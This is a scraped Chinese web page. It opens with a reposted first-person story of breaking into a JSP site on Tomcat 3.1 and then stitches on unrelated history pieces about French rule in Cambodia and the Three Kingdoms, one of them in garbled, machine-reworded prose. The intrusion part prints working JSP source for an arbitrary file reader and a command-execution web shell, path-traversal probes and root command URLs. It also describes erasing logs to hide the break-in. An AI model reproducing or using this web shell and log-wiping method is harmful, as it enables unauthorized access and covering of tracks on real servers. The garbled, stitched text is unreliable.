WEB入侵jsp的过程

作者:小菜 更新时间:2025-03-16 点击数:
简介:很偶然的一个机会,看到了一个网站,页面清新,很舒服的感觉。

网站是用JSP开发的,由于个人爱好,所以我决定看看系统的安全性。

telnet www.target.

【菜科解读】

很偶然的一个机会,看到了一个网站,页面清新,很舒服的感觉。

网站是用JSP开发的,由于个人爱好,所以我决定看看系统的安全性。

telnet www.target.com 8080 GET /CHINANSL HTTP/1.1 [Enter] [Enter] 返回的结果如下: HTTP/1.0 404 Not Found Date: Sun, 08 Jul 2001 07:49:13 GMT Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2 .2.12 i386; java.vendor=Blackdown Java-Linux Team) Content-Language: en Content-Type: text/html Status: 404 Error: 404 Location: /CHINANSLFile Not Found/CHINANSL 我获得了运行的WEBServer的名称"Tomcat 3.1"。

我记得我曾经发现过这个版本的漏洞,并且post到bugtrap上去过。

大概是:通过".."技术可以退出WEB目录,于是: http://target:8080/../../../../.jsp (不行) http://target:8080/file/index.jsp (不行) http://target:8080/index.JSP (不行) http://target:8080/index.jsp%81 (不行) http://target:8080/index.js%70 (不行) http://target:8080/index.jsp%2581 (不行) http://target:8080/WEB-INF/ (不行) 嗯,在试试吧!Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context.试一下:http://target:8080/admin/ 管理员果然没有删除或禁止访问这个目录:-(失误!!!!! 接着我点"VIEW ALL CONTEXT"按钮,列出了WEB目录下的一些文件和目录的名称,我开始仔细的看了起来,一小会儿,发现了一个上传文件的组件,嘿嘿,写一个jsp文件弄上去看看。

几口咖啡的时间,我写了这么一个东东出来: %@ page import="java.io.*" %> % String file = request.getParameter("file"); String str = ""; FileInputStream fis = null; DataInputStream dis = null; try{ fis = new FileInputStream(file); dis = new DataInputStream(fis); while(true){ try{ str = dis.readLine(); }catch(Exception e){} if(str == null)break; out.print(str+""); } }catch(IOException e){} %> 通过上传的组件将这个jsp上传到对方的WEB目录里,然后: http://target:8080/upload/test.jsp?file=/etc/passwd 嘿嘿,密码出来啦。

我只看了"/etc/passwd",并没有看"/etc/shadow",因为当时考虑webserver一般使用nobody的身份启动的,看了也白看。

(失误) 接下来的过程是无聊的猜测密码,没有成功。

算了,那我只有将就点,反正现在我相当于有了一个shell了嘛,猜不出密码上去,那就全当IE是我的SHELL环境吧! 再写: %@ page import="java.io.*" %> % try { String cmd = request.getParameter("cmd"); Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } catch (IOException e) { System.err.println(e); } %> 然后把这个jsp又通过upload上传了上去,嘿嘿,我现在有个SHELL了。

http://target:8080/upload/cmd.jsp?cmd=ls+-la+/ (我这里就不列出来了) 怎么获得root呢?经过一番搜索我发现了系统安装了mysql并且我从jsp的源代码中得到了mysql的密码:)看看是什么权限运行的mysql: sqld">http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld 显示: root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql 嘿嘿,有办法了,系统是以root身份运行的mysql,同时我知道了mysql的密码,那我现在我可以写一个shell程序,让它create一个表,然后将我的数据放到表中,然后再使用"select ... into outfile;"的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。

(还记得apache.org有一次被入侵吗?hacker就采用的这种办法)。

然后,我再上传bindshell之类的程序,运行、获得nobody的权限,然后......再使用su root时帮忙创建的setuid shell让自己成为root. 嘿嘿,真是好办法,我都为我的想法感到得意...... 接下去的事情,差点没让我吐血: 我敲了一个:http://target:8080/upload/cmd.jsp?cmd=id 显示: uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx) kao,我的这个WEB SHELL本来就是ROOT,真是服了那个管理员,也服了自己。

竟然折腾了这么半天,哎! http://target:8080/upload/cmd.jsp?cmd=ps+aux 果然是root身份运行的(不列出来了) 剩下来的事情: 1、删除我的telnet记录。

2、删除http的日志。

至于清除日志嘛,我使用的办法是:cat xxx |grep -V "IP" >>temp然后在把temp覆盖那些被我修改过的日志文件。

我没有更换他的页面,因为我本身也就不是什么黑客啦,更不是红客,只是个网络安全爱好者而已。

所以,发封邮件告诉system admin吧! 当然,我顺便在信中提到,如果需要安盟信息科技为他提供安全服务的话,我们会非常的高兴!

WEB,入侵,jsp,的,过程,很,偶然,的,一个,机会,看

从法属印度支那到入侵柬埔寨 当地人是如何争取国家独立的

19世纪法国殖民者在越南南部立足后,就开始把手伸到临近的柬埔寨。

法国人最初也是派传教士到柬埔寨来传教,以窥视和了解柬埔寨的情况,为下一步的殖民侵略做准备。

法国在柬埔寨的殖民侵略过程不同于越南,没有发生过大规模的侵略战争,而是采取武力胁迫的办法来夺取权力。

1863年,法国驻交趾支那总督德·拉·格朗地耶以武力威胁强迫柬埔寨新国王诺罗敦在一份事先拟好的保护条约上签字,条约确定了法国对柬埔寨的保护权。

起初柬埔寨国王为了摆脱越南、泰国的控制,幼稚地把希望寄托在法国人的身上,这无疑是引狼入室。

就这样,法国人在柬埔寨没有遇到多少抵抗,两国就签订了《法柬条约》,柬埔寨接受法国的保护,开始沦为法国的。

暹罗是柬埔寨的保护国,法国人为了安抚暹罗,1867年与暹罗签订条 约,将柬埔寨的暹粒、马德望、诗梳风三省割让给暹罗,以换取暹罗对《法柬条约》的承认。

当年,柬埔寨把首都从安东迁到了金边。

法国人并不满足于1863年的《法柬条约》,1884年又故技重演,法国驻交趾支那总督查尔斯·汤普森用刺刀对着柬埔寨国王诺罗敦的喉咙,逼迫他签订另一个不平等条约。

根据该条约,法国获得了几乎全部在柬埔寨的政治权力,柬埔寨完全沦为法国的殖民地。

柬埔寨的实际事务由法国指派的首席殖民官员负责。

法国人侵占柬埔寨是其构建法属印支联邦的一部分,1887年在已占领的越南分为东京、安南、交趾支那三个区域的基础上,加上柬埔寨共四地拼凑成法属“印度支那联邦”。

1941—1945年日本短暂占领了柬埔寨。

其间,泰国得到日本人的支持,趁法国人顾不上柬埔寨之际,出兵占领了柬埔寨的西部地区。

法国人甚至与泰国人在东京签订条约,将柬埔寨的马德 望、暹粒两省以及磅同、上丁两省的部分地区割让给泰国。

1945年8月15日,日本宣布无条件投降,法国伞兵10月5日占领金边,法国人,恢复了对柬埔寨的殖民统治。

同时,泰国也宣布自动放弃所占领的柬埔寨领土。

为了稳住柬埔寨,1946年法国与柬埔寨签订了一项协定,法国承认柬埔寨是法兰西联邦内的一个自治国,但国王所签的一切文件都要经过法国的批准才有效。

其实,换汤不换药,柬埔寨跟过去一样依然是法国彻头彻尾的殖民地。

在法国占领和实施殖民统治的岁月里,柬埔寨人就一直开展反抗斗争,争取国家的独立。

由于在越南战场的接连败退,再无力支撑下去,法国只好于1953年7月3日宣布给予柬埔寨完全独立,11月9日柬埔寨在金边皇宫举行仪式,法国正式把权力移交给以西哈努克为首的柬埔寨王国。

1954年,根据日内瓦协议,法国最后撤走了驻守在柬埔寨的军队,柬埔寨实现了真正的独立。

随机文章古罗马皇帝德修斯简介诸葛亮怎么死的?专家反覆研究后「只说4字」解释了一切黔南平塘天坑群风景区,世界上最大口径的天坑(1800米)秦始皇地宫被盗过吗,秦始皇地宫藏万吨水银无人敢挖(剧毒)揭秘西安活死人墓有多深,王重阳曾在这里修仙得道(腾飞之地)

魏蜀吴三国战争混乱,为什么没有外族入侵?

我们都晓得,时代战役四起,百姓糊口在水深炽热之中,那时也有良多周边的少数民族对三个权力建立起的国家,可是为什么阿谁时代我国不息以来都没有被异族入侵过呢。

接下出处我率领大师一起来体味一下背后的缘故缘由。

首先便是那时异族的实力非常的弱小,难以与我们国家那时的三个小国停止抗衡。

要晓得,在时代,我国同等对外,将周边的良多向我国停止加害的小部落停止了沉重的打击,使得他们的实力变得相称弱小。

并且这些周边的小部落他们本身内部也产生了良多的纷争,导致他们的实力并不集中,也没有一颗团结同等对外的决心,再加上他们的刀兵装备都非常的落伍,与我们国家前进前辈的科学手艺比力,几乎不值得一提,远远不够于与我国停止抗衡。

其次便是三国时代,对外立场很是同等,即使三个国家时常产生一些战役,可是,对待异族侵略方面来看,他们的立场都是非常同等的。

只若是敢来加害我国河山的异族人,他们毫不轻饶,誓死也要保卫我国的河山。

末了便是三国和初期的时辰,我国的实力都非常的强大,异族人民无法对其停止加害。

要晓得,魏朝在家族的率领之下,关怀百姓疾苦,大力生长良多公共事业,百姓过上了安身立命的糊口,经济也渐渐获得了生长。

在位时代更是对周边的良多小部落停止了强有力的打击,使他们不敢对我国河山有所侵扰。

即使到了后来的司马家族,周边部落也并没有讨得什么好处。

要晓得,我们民族的人民团结同心用心,同等抗外,想要加害我国的河山可不是那么随意的。

随机文章诸葛亮为何一定要杀魏延?因为反骨吗 真相只有「4个字」世界十大天坑望而生畏,燕子洞天坑深达426米(可跳伞)如何克服瓦伦达效应,患得患失是走向成功的最大阻碍(保持平常心)常见木桶定律在生活中的体现,人要成为明灯而不是短板揭秘佩特拉古城为何被遗弃,因丝绸之路改道而被遗弃(世界奇迹之一)

加入收藏
               

WEB入侵jsp的过程

点击下载文档

格式为doc格式

  • 账号登录
社交账号登录